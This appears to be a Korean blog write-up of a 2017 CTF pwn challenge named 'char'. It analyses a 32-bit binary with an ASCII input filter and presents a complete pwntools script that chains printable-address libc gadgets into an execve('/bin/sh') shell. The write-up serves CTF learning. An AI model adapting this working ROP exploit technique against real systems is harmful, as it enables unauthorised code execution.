본문 바로가기

ctf

[0 2017 CTF] char

# file char

char: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4b292f5bfd7089a2fe69a25677f42a25e7c2b3df, stripped

[*] '/ctf/char'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

NX 가 걸려있는 32bit 바이너리이다.

 

바이너리 분석에 큰 어려움은 없다.

가장 먼저 "/home/char/libc.so" 파일을 0x5555e000 메모리 위치에 대응시킨 후 사용자로부터 입력을 받는다.

36byte 를 입력해주면 RET 까지 조작이 가능한데 문제는 ascii_filter 부분이다. 해당 입력 값이 0x1f ~ 0x7e 가 아니면 프로세스를 종료한다. 

 

따라서, 우리는 0x5555e000 에 매핑되어있는 라이브러리 주소에서 shellcode 로 쓸만한 gadget 을 찾아줘야 한다.

상당히 귀찮음... 아무튼 gadget 을 찾아서 /bin/sh shellcode 를 만들면 된다.

 

# exploit.py

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log


elf = ELF('./char')

p = process('./char')

libc_base = 0x5555e000


# ecx gadget

ecx_gadget_1 = libc_base + 0x174a51
ecx_gadget_2 = libc_base + 0x10506d


# edx gadget
edx_gadget_1 = libc_base + 0x95555
edx_gadget_2 = libc_base + 0x1415c
edx_gadget_3 = libc_base + 0x9892d


# ebx gadget
ebx_gadget_1 = libc_base + 0x1706b


# /bin/sh offset = 0x15d7ec -> libc_base + 0x15d7ec = 556bb7ec
calc_binsh_1 = 0x77775070
calc_binsh_2 = 0x556b677c
calc_binsh_3 = libc_base + 0xd6e43
calc_binsh_4 = libc_base + 0x9843e

# int 0x80
call_execve = libc_base + 0x109177


inc_eax = libc_base + 0xe6263


payload = 'A'*32

# set ecx = 0
payload += p32(ecx_gadget_1)    # pop ecx ; add al, 0x0A ; ret ;
payload += p32(0x35353535)
payload += p32(ecx_gadget_2)    # and ecx, 0xC0000000 ; and edx, 0x000000FF ; cmp ecx, 0x80000000 ; cmovne eax, edx ; ret ;

# set edx = 0
payload += p32(edx_gadget_1)    # pop edx ; xor eax, eax ; pop edi ; ret ;
payload += p32(edx_gadget_2)    # add BYTE PTR [eax], al -> 0x00000000
payload += p32(edx_gadget_2)
payload += p32(edx_gadget_3)    # mov edx, DWORD PTR [edx] ; xor eax, eax ; test edx, edx ; sete al ; repz ret ;

# set ebx = &'/bin/sh', eax = 0
payload += p32(ebx_gadget_1)    # pop eax; pop ebx; pop esi; pop edi; pop ebp; ret;
payload += p32(calc_binsh_1)
payload += p32(calc_binsh_2)
payload += 'AAAA'*3
payload += p32(calc_binsh_3)    # add bh, ah ; ret ;
payload += p32(calc_binsh_4)    # add bl, al ; xor eax, eax ; ret ;

# eax = 11
payload += p32(inc_eax)*11      # inc eax ; ret ;

# int $0x80
payload += p32(call_execve)     # int $0x80

print len(payload)
print payload

print p.recvuntil('GO : )')

raw_input('>')

p.sendline(payload)
p.interactive()

'ctf' 카테고리의 다른 글

[pwnable.kr] asm  (0) 2017.04.03
[pwnable.tw] orw  (0) 2017.04.02
[pwnable.kr] fix  (0) 2017.03.17
[pwnable.kr] echo1  (0) 2017.03.13
[pwnable.kr] unlink  (0) 2017.03.12